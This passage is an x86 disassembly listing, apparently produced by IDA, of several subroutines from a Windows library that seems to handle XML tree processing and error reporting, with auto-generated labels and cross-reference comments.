		mov	[ebp+var_10], 1
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		call	sub_69B31749
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320


loc_69B8BF8F:				; CODE XREF: sub_69B8BF13+52j
		mov	ecx, [edi+64h]
		test	ecx, ecx
		jz	short loc_69B8BFBE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset sub_69B8D097
		mov	[ebp+var_10], 1
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		call	sub_69B31749
		push	eax
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320


loc_69B8BFBE:				; CODE XREF: sub_69B8BF13+81j
		push	0
		jmp	loc_69B8C063
; ---------------------------------------------------------------------------


loc_69B8BFC5:				; CODE XREF: sub_69B8BF13+39j
		lea	eax, [edi+5Ch]
		push	eax
		lea	ecx, [esi+5Ch]
		call	sub_69B4D414
		lea	eax, [edi+3Ch]
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B4D414
		mov	ecx, [edi+40h]
		test	ecx, ecx
		jz	short loc_69B8BFF3
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320


loc_69B8BFF3:				; CODE XREF: sub_69B8BF13+CFj
		mov	ecx, [edi+44h]
		test	ecx, ecx
		jz	short loc_69B8C009
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320


loc_69B8C009:				; CODE XREF: sub_69B8BF13+E5j
		mov	ecx, [edi+48h]
		test	ecx, ecx
		jz	short loc_69B8C01F
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320


loc_69B8C01F:				; CODE XREF: sub_69B8BF13+FBj
		mov	ecx, [edi+50h]
		test	ecx, ecx
		jz	short loc_69B8C035
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320


loc_69B8C035:				; CODE XREF: sub_69B8BF13+111j
		mov	ecx, [edi+60h]
		test	ecx, ecx
		jz	short loc_69B8C04B
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17320


loc_69B8C04B:				; CODE XREF: sub_69B8BF13+127j
		mov	ecx, [edi+64h]
		test	ecx, ecx
		jz	short loc_69B8C061
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320


loc_69B8C061:				; CODE XREF: sub_69B8BF13+13Dj
		push	1


loc_69B8C063:				; CODE XREF: sub_69B8BF13+ADj
		lea	eax, [edi+0Ch]
		lea	ecx, [esi+0Ch]
		push	eax
		call	sub_69B8ACCF
		add	edi, 1Ch
		lea	ecx, [esi+1Ch]
		push	edi
		call	sub_69B8AD6D
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B8BF13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C084	proc near		; CODE XREF: sub_69B8C321+57p
					; sub_69B8C4AA+66p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, ecx
		mov	ecx, esi
		mov	[ebp+var_4], edi
		call	dword ptr [eax+44h]
		xor	ebx, ebx
		sub	eax, ebx
		jz	short loc_69B8C114
		dec	eax
		jz	short loc_69B8C0F8
		dec	eax
		jz	short loc_69B8C0C5
		sub	eax, 3
		jz	short loc_69B8C0C5
		dec	eax
		jz	short loc_69B8C0F8
		sub	eax, 5
		jz	short loc_69B8C0CC
		mov	eax, 0C00CE014h


loc_69B8C0BA:				; CODE XREF: sub_69B8C084+72j
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B8C0C5:				; CODE XREF: sub_69B8C084+22j
					; sub_69B8C084+27j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_69B8C0CC:				; CODE XREF: sub_69B8C084+2Fj
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, edi
		call	sub_69B8AFBA
		cmp	eax, ebx
		jz	short loc_69B8C0F1
		push	[ebp+arg_C]
		mov	ecx, edi
		push	[ebp+arg_4]
		push	ebx
		push	eax
		call	sub_69B8C395
		jmp	short loc_69B8C0C5
; ---------------------------------------------------------------------------


loc_69B8C0F1:				; CODE XREF: sub_69B8C084+5Aj
		mov	eax, 0C00CE002h
		jmp	short loc_69B8C0BA
; ---------------------------------------------------------------------------


loc_69B8C0F8:				; CODE XREF: sub_69B8C084+1Fj
					; sub_69B8C084+2Aj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_69B8C0C5
		mov	eax, [ecx+18h]
		cmp	eax, ebx
		jz	short loc_69B8C0C5
		push	0Dh
		push	ebx
		push	ecx
		mov	ecx, [eax+2Ch]
		call	sub_69B8FACC
		jmp	short loc_69B8C0C5
; ---------------------------------------------------------------------------


loc_69B8C114:				; CODE XREF: sub_69B8C084+1Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	[edi+5Ch], ebx
		mov	[ebp+var_8], eax
		jnz	loc_69B8C22C
		push	eax
		call	sub_69B48CC4
		test	al, al
		jz	short loc_69B8C1A1
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Fh
		mov	[ebp+arg_0], eax
		jg	short loc_69B8C144
		call	sub_69B2E6D8


loc_69B8C144:				; CODE XREF: sub_69B8C084+B9j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+48h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		cmp	eax, ebx
		jz	short loc_69B8C1A1
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax
		call	sub_69B5B9EA
		push	eax
		lea	ecx, [edi+1Ch]
		mov	[ebp+arg_0], eax
		call	sub_69B3BD1A
		test	eax, eax
		jnz	loc_69B8C22C
		mov	eax, [esi]
		push	1
		push	[ebp+arg_0]
		mov	ecx, esi
		push	esi
		push	edi
		call	dword ptr [eax+0B4h]
		push	eax
		call	sub_69B5CB6E
		jmp	loc_69B8C22C
; ---------------------------------------------------------------------------


loc_69B8C1A1:				; CODE XREF: sub_69B8C084+ABj
					; sub_69B8C084+D3j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp+var_10], eax
		mov	eax, [eax+70h]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, esi
		call	sub_69B48F23


loc_69B8C1BF:				; CODE XREF: sub_69B8C084+1A3j
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_69B8C229
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	[ebp+var_C], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	eax, dword_69B95A5C
		mov	ecx, [ebp+var_C]
		cmp	eax, [ecx+10h]
		jnz	short loc_69B8C21C
		mov	eax, [edi]
		push	ebx
		push	1
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		cmp	[eax+8], ebx
		jz	short loc_69B8C21C
		mov	ecx, [ebp+arg_0]
		push	ebx		; int
		push	ebx		; lpString
		push	eax		; int
		call	sub_69B4D394
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	eax
		push	eax
		call	sub_69B4DA96
		mov	ecx, [ebp+var_4]
		push	eax
		push	ebx
		push	[ebp+var_10]
		call	sub_69B8BD72


loc_69B8C21C:				; CODE XREF: sub_69B8C084+164j
					; sub_69B8C084+173j
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, esi
		call	sub_69B486B5
		jmp	short loc_69B8C1BF
; ---------------------------------------------------------------------------


loc_69B8C229:				; CODE XREF: sub_69B8C084+13Fj
		mov	edi, [ebp+var_4]


loc_69B8C22C:				; CODE XREF: sub_69B8C084+9Dj
					; sub_69B8C084+FBj ...
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_69B8C247
		mov	eax, [ecx+18h]
		cmp	eax, ebx
		jz	short loc_69B8C247
		push	ebx
		push	[ebp+var_8]
		push	ecx
		mov	ecx, [eax+2Ch]
		call	sub_69B8FACC


loc_69B8C247:				; CODE XREF: sub_69B8C084+1ADj
					; sub_69B8C084+1B4j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_69B9003D
		push	[ebp+arg_C]
		mov	[ebp+arg_4], eax
		push	[ebp+arg_8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, edi
		push	esi
		push	ebx
		call	sub_69B8BCA2
		mov	edi, [esi+8]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		shr	edi, 4
		and	edi, 3Fh
		cmp	ecx, ebx
		jz	short loc_69B8C2B2
		push	ebx
		push	[ebp+var_4]
		push	esi
		call	sub_69B8C997
		cmp	edi, 1
		jg	short loc_69B8C2B2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		call	sub_69B8C6AD
		cmp	eax, 1
		jl	short loc_69B8C2B2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		call	sub_69B8C6AD
		mov	edi, eax


loc_69B8C2B2:				; CODE XREF: sub_69B8C084+200j
					; sub_69B8C084+20Fj ...
		cmp	edi, ebx
		jle	short loc_69B8C2F0
		cmp	edi, 2
		jz	short loc_69B8C2DC
		cmp	edi, 0Ch
		jge	short loc_69B8C2DC
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+18h]
		push	ebx
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax
		push	esi
		push	ebx
		call	sub_69B4E634
		jmp	short loc_69B8C2F0
; ---------------------------------------------------------------------------


loc_69B8C2DC:				; CODE XREF: sub_69B8C084+235j
					; sub_69B8C084+23Aj
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	ecx, esi
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_69B4AF3F


loc_69B8C2F0:				; CODE XREF: sub_69B8C084+230j
					; sub_69B8C084+256j
		mov	ecx, [ebp+var_4]
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B8C321
		test	al, al
		jz	short loc_69B8C310
		mov	eax, [esi+8]
		shr	eax, 15h
		test	al, 1
		jnz	short loc_69B8C310
		mov	bl, 1


loc_69B8C310:				; CODE XREF: sub_69B8C084+27Ej
					; sub_69B8C084+288j
		mov	ecx, [ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_69B8B2D6
		jmp	loc_69B8C0C5
sub_69B8C084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C321	proc near		; CODE XREF: sub_69B8C084+277p
					; sub_69B8C395+BCp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, ecx
		mov	ecx, esi
		mov	bl, 1
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B8C35B
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		jz	short loc_69B8C357
		mov	eax, [ecx+18h]
		test	eax, eax
		jz	short loc_69B8C357
		push	0Dh
		push	0
		push	ecx
		mov	ecx, [eax+2Ch]
		call	sub_69B8FACC


loc_69B8C357:				; CODE XREF: sub_69B8C321+20j
					; sub_69B8C321+27j
		xor	bl, bl
		jmp	short loc_69B8C38C
; ---------------------------------------------------------------------------


loc_69B8C35B:				; CODE XREF: sub_69B8C321+19j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B
		test	eax, eax
		jz	short loc_69B8C38C
		xor	bl, bl


loc_69B8C36C:				; CODE XREF: sub_69B8C321+69j
		push	[ebp+arg_C]
		mov	ecx, edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_69B8C084
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC
		test	eax, eax
		jnz	short loc_69B8C36C


loc_69B8C38C:				; CODE XREF: sub_69B8C321+38j
					; sub_69B8C321+47j
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		pop	ebp
		retn	10h
sub_69B8C321	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C395	proc near		; CODE XREF: sub_69B8C084+66p
					; sub_69B8C45B+44p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_4], bl
		push	edi
		mov	edi, ecx
		jz	loc_69B8C43B
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+18h]
		cmp	ecx, ebx
		jz	short loc_69B8C424
		push	ebx
		push	3Ch
		call	sub_69B2EE9A
		test	eax, eax
		jl	short loc_69B8C3D7
		mov	edi, 0C00CE506h


loc_69B8C3C3:				; CODE XREF: sub_69B8C395+A4j
		push	0
		push	ebx
		push	edi
		push	edi
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8C3D0:				; CODE XREF: sub_69B8C395+8Dj
		pop	esi


loc_69B8C3D1:				; CODE XREF: sub_69B8C395+C1j
		pop	edi
		pop	ebx
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_69B8C3D7:				; CODE XREF: sub_69B8C395+27j
		push	dword ptr [edi+34h]
		mov	ecx, esi
		call	sub_69B8C56F
		mov	ebx, eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, ebx
		call	sub_69B49F0B
		jmp	short loc_69B8C41C
; ---------------------------------------------------------------------------


loc_69B8C3F0:				; CODE XREF: sub_69B8C395+8Bj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 0Bh
		jnz	short loc_69B8C411
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	[ebp+arg_8]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	eax
		mov	ecx, edi
		call	sub_69B8C45B


loc_69B8C411:				; CODE XREF: sub_69B8C395+65j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, ebx
		call	sub_69B47DCC


loc_69B8C41C:				; CODE XREF: sub_69B8C395+59j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B8C3F0
		jmp	short loc_69B8C3D0
; ---------------------------------------------------------------------------


loc_69B8C424:				; CODE XREF: sub_69B8C395+1Bj
		mov	eax, [esi]
		mov	ecx, esi
		mov	edi, 0C00CE007h
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	ebx, eax
		jmp	short loc_69B8C3C3
; ---------------------------------------------------------------------------


loc_69B8C43B:				; CODE XREF: sub_69B8C395+Cj
		push	dword ptr [edi+34h]
		mov	ecx, [ebp+arg_0]
		call	sub_69B8C56F
		push	[ebp+arg_C]
		mov	ecx, edi
		push	1
		push	[ebp+arg_8]
		push	eax
		call	sub_69B8C321
		jmp	loc_69B8C3D1
sub_69B8C395	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C45B	proc near		; CODE XREF: sub_69B4F53C+45p
					; sub_69B4FDBC+FAp ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	0
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	[ebp+var_1], 0
		call	sub_69B8AFBA
		push	[ebp+arg_8]
		mov	edi, eax
		push	[ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_69B8B4A5
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B8C48E
		cmp	dword ptr [eax+18h], 0
		jnz	short loc_69B8C494


loc_69B8C48E:				; CODE XREF: sub_69B8C45B+2Bj
		cmp	byte ptr [ebp+arg_8], 0
		jz	short loc_69B8C4A4


loc_69B8C494:				; CODE XREF: sub_69B8C45B+31j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	eax
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		call	sub_69B8C395


loc_69B8C4A4:				; CODE XREF: sub_69B8C45B+37j
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B8C45B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C4AA	proc near		; CODE XREF: sub_69B58E4C+EAp

var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+34h]
		mov	ebx, [edi+68h]
		mov	ecx, edi
		mov	[ebp+var_1], 0
		call	sub_69B3D6C4
		mov	[ebp+var_8], eax
		push	0
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17320
		cmp	dword ptr [esi+5Ch], 0
		jnz	short loc_69B8C4F3
		test	ebx, ebx
		jz	short loc_69B8C503
		push	edi
		mov	byte ptr [esi+2Fh], 1
		mov	eax, dword_69B95A18
		push	eax
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B8BBC2
		jmp	short loc_69B8C503
; ---------------------------------------------------------------------------


loc_69B8C4F3:				; CODE XREF: sub_69B8C4AA+2Dj
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B8B2A8


loc_69B8C503:				; CODE XREF: sub_69B8C4AA+31j
					; sub_69B8C4AA+47j
		lea	eax, [ebp+var_1]
		push	eax
		push	0
		push	0
		push	[ebp+var_8]
		mov	ecx, esi
		call	sub_69B8C084
		mov	ecx, esi
		call	sub_69B8B602
		cmp	[ebp+var_1], 0
		pop	edi
		pop	esi
		pop	ebx
		jnz	short locret_69B8C536
		mov	eax, 0C00CE224h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B8C536:			; CODE XREF: sub_69B8C4AA+79j
		leave
		retn
sub_69B8C4AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C538	proc near		; DATA XREF: .text:69B16EDCo
		mov	eax, offset off_69B8C540
		retn
sub_69B8C538	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B8C540	dd offset dword_69B18894 ; DATA	XREF: sub_69B8C538o
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_69B8C548	proc near		; CODE XREF: sub_69B8E980+1F5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	[ecx+24h], eax
		mov	eax, [esp+arg_4]
		mov	[ecx+28h], eax
		retn	8
sub_69B8C548	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C559	proc near		; CODE XREF: sub_69B8E980+258p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0ECh]
		mov	[esi+2Ch], eax
		pop	esi
		retn	4
sub_69B8C559	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C56F	proc near		; CODE XREF: sub_69B486D2+39p
					; sub_69B4CC55+65p ...

arg_0		= dword	ptr  4

		push	dword ptr [ecx+2Ch]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B3EB79
		retn	4
sub_69B8C56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C57E	proc near		; CODE XREF: sub_69B8E4C4+DCp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+30h], 2
		pop	esi
		retn	4
sub_69B8C57E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C596	proc near		; DATA XREF: .text:69B16EF8o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+30h], 0FFFFFFFDh
		pop	esi
		retn	4
sub_69B8C596	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C5AE	proc near		; DATA XREF: .text:69B16EF4o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8C5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C5EF	proc near		; DATA XREF: .text:69B16ECCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8C60A
		test	[esp+4+arg_0], 1
		jz	short loc_69B8C604
		push	esi
		call	sub_69B1829F


loc_69B8C604:				; CODE XREF: sub_69B8C5EF+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8C5EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C60A	proc near		; CODE XREF: sub_69B8C5EF+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8C60A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C64B	proc near		; DATA XREF: .text:69B14948o

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B8C66B
		movzx	edx, [esp+arg_4]
		push	esi
		mov	esi, [eax+8]
		and	esi, 7FFFFFFFh
		shl	edx, 1Fh
		or	edx, esi
		mov	[eax+8], edx
		pop	esi


loc_69B8C66B:				; CODE XREF: sub_69B8C64B+6j
		push	eax
		add	ecx, 10h
		push	ecx
		call	sub_69B17320
		retn	8
sub_69B8C64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C678	proc near		; CODE XREF: sub_69B4936A+49p
					; sub_69B5C433+26p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx+30h]
		test	eax, eax
		jz	short loc_69B8C6A7
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	ecx, [ebp+var_8]
		jmp	short loc_69B8C6A2
; ---------------------------------------------------------------------------


loc_69B8C692:				; CODE XREF: sub_69B8C678+2Dj
		mov	eax, [ecx]
		mov	edx, [eax+8]
		cmp	edx, [ebp+arg_0]
		jz	short locret_69B8C6A9
		add	ecx, 4
		mov	[ebp+var_8], ecx


loc_69B8C6A2:				; CODE XREF: sub_69B8C678+18j
		cmp	ecx, [ebp+var_4]
		jb	short loc_69B8C692


loc_69B8C6A7:				; CODE XREF: sub_69B8C678+Aj
		xor	eax, eax

locret_69B8C6A9:			; CODE XREF: sub_69B8C678+22j
		leave
		retn	4
sub_69B8C678	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C6AD	proc near		; CODE XREF: sub_69B4B0C7+238p
					; sub_69B4B0C7+2A3p ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_69B8C6D9
		push	edi
		mov	edi, [esi+10h]
		test	edi, edi
		jz	short loc_69B8C6D8
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B8h]
		test	al, al
		jz	short loc_69B8C6D8
		mov	eax, [edi+8]
		shr	eax, 4
		and	eax, 3Fh
		mov	[esi+18h], eax


loc_69B8C6D8:				; CODE XREF: sub_69B8C6AD+Fj
					; sub_69B8C6AD+1Dj
		pop	edi


loc_69B8C6D9:				; CODE XREF: sub_69B8C6AD+7j
		mov	eax, [esi+18h]
		pop	esi
		retn
sub_69B8C6AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C6DE	proc near		; CODE XREF: sub_69B4E634+13Dp
					; sub_69B4E634+1B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8C6AD
		cmp	eax, 9
		jz	short loc_69B8C6F7
		mov	ecx, esi
		call	sub_69B8C6AD
		cmp	eax, 0Ah
		jnz	short loc_69B8C724


loc_69B8C6F7:				; CODE XREF: sub_69B8C6DE+Bj
		mov	ecx, [esi+20h]
		test	ecx, ecx
		jz	short loc_69B8C70B
		push	[esp+4+arg_0]
		call	sub_69B677BA
		test	al, al
		jnz	short loc_69B8C724


loc_69B8C70B:				; CODE XREF: sub_69B8C6DE+1Ej
		push	0
		mov	ecx, esi
		call	sub_69B8AFA4
		push	eax
		mov	eax, 0C00CE017h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8C724:				; CODE XREF: sub_69B8C6DE+17j
					; sub_69B8C6DE+2Bj
		pop	esi
		retn	4
sub_69B8C6DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C728	proc near		; CODE XREF: sub_69B8CAFC+3p
					; sub_69B8CC0C+18j ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		mov	dword ptr [esi], offset	off_69B148D0
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8C728	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C75D	proc near		; DATA XREF: .text:69B14908o
					; .text:69B14988o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+10h], eax
		retn	8
sub_69B8C75D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C767	proc near		; CODE XREF: sub_69B8CB9A+1Cj
					; sub_69B8CDA1+11j
					; DATA XREF: ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esi]
		push	1
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+38h]
		push	edi
		lea	eax, [esi+1Ch]
		push	eax
		mov	[esi+14h], edi
		call	sub_69B17320
		push	edi
		add	esi, 20h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn
sub_69B8C767	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8C7A5	proc near		; CODE XREF: sub_69B5B197+45p
					; sub_69B8CAAF+33p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		lea	eax, [esi+8]
		jz	short loc_69B8C7C0
		push	dword ptr [edi+8]
		push	eax
		call	sub_69B17320
		push	edi
		jmp	short loc_69B8C7CA
; ---------------------------------------------------------------------------


loc_69B8C7C0:				; CODE XREF: sub_69B8C7A5+Dj
		push	0
		push	eax
		call	sub_69B17320
		push	0


loc_69B8C7CA:				; CODE XREF: sub_69B8C7A5+19j
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	4
sub_69B8C7A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C7D8	proc near		; CODE XREF: sub_69B8C881+15p
					; sub_69B8CF73+12p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	cl, [eax]
		mov	eax, [eax+4]
		push	ebx
		mov	ebx, [eax+70h]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [esi+8]
